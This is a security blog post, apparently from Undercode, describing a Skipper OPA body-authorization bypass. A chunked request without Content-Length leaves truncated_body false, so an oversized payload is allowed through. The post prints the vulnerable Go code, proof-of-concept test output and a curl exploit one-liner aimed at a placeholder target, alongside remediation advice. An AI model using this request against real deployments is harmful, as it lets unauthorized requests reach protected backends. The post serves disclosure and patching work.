Listen to this Post
CVE-2026-50197 affected Skipper’s OPA authorization path for chunked requests.
The original bug was an empty-body chunked bypass.
OPA saw no request body during authorization.
Skipper’s opaAuthorizeRequestWithBody filter forwards bounded body to OPA.
If body exceeds max-request-body-size, default 1 MB, Skipper truncates.
Advisory GHSA-8qqm-fp2q-v734 then showed body-inspecting policies fail OPEN.
It recommended guarding on input.truncated_body.
The recommended Rego is default allow := false.
allow if { input.truncated_body == false }.
That mitigation is incomplete.
truncated_body is computed only when content-length header exists.
Chunked HTTP/1.1 and HTTP/2 carry no content-length.
Therefore truncated_body remains false even after Skipper truncates.
The mitigated policy sees input.truncated_body == false as true.
It ALLOWS the request.
The full oversized payload is forwarded upstream.
bufferedBodyReader streams buffered prefix then drains original body.
The bypass transport is chunked or HTTP-2 without Content-Length.
That is the transport class CVE-2026-50197 was about.
GHSA-8qqm fix closed declared-Content-Length variant.
Its positive-control test used only small chunked bodies.
Root cause is in opa-envoy-plugin envoyauth/request.go.
getParsedBody checks headers[“content-length”].
checkIfHTTPBodyTruncated compares content-length to body length.
No content-length means comparison skipped.
truncated_body is reported false.
Skipper ExtractHttpBodyOptionally truncates chunked body to maxBodyBytes.
expectedSize = maxBodyBytes when req.ContentLength < 0.
OPA is told not truncated while body was truncated.
Backend receives whole payload.
This is third still-open variant.
DailyCVE Form:
Platform: Zalando Skipper OPA
Version: <= 0.27.33
Vulnerability: Body authorization bypass
Severity: High (7.5)
date: Not specified
Prediction: Not yet scheduled
(end of form)
What Undercode Say:
Analytics:
$ go test ./filters/openpolicyagent/ -run TestTruncatedBodyChunkedBypass -count=1 -v poc_truncated_body_chunked_test.go:148: [content-length ] status=403 upstream_body_bytes=-1 poc_truncated_body_chunked_test.go:154: [chunked ] status=200 upstream_body_bytes=66 PASS: TestTruncatedBodyChunkedBypass (0.11s) PASS
default allow := false
allow if {
input.truncated_body == false
}
if val, ok := headers["content-length"]; ok {
truncated, err := checkIfHTTPBodyTruncated(val, int64(len(body)))
if truncated { return nil, true, nil }
}
return data, false, nil
func checkIfHTTPBodyTruncated(contentLength string, bodyLength int64) (bool, error) {
cl, _ := strconv.ParseInt(contentLength, 10, 64)
if cl != -1 && cl > bodyLength { return true, nil }
return false, nil
}
Exploit: (Educational Purposes!)
printf 'a=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' | \ curl --http1.1 -X POST \ -H 'Content-Type: application/x-www-form-urlencoded' \ -H 'Transfer-Encoding: chunked' \ -H 'Content-Length:' \ --data-binary @- \ http://target/
req.ContentLength = -1
req.TransferEncoding = []string{"chunked"}
payload := "a=" + strings.Repeat("A", 64)
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
req.ContentLength = -1
req.TransferEncoding = []string{"chunked"}
Protection: from this CVE
// In ExtractHttpBodyOptionally, detect remaining bytes after maxBodyBytes. // Set synthetic content-length or dedicated metadata so input.truncated_body is true. // Or reject with 413 when body-based authorization is enabled.
Do not rely solely on content-length. Treat body present but not fully inspectable and no content-length as truncated.
Impact:
Bypass of OPA request-body authorization for deployments that adopted the official truncated_body mitigation.
Requests meant to be rejected are authorized and forwarded in full to the protected upstream.
Same security property and severity class as CVE-2026-50197 / GHSA-8qqm (both High).
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N = 7.5 High.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
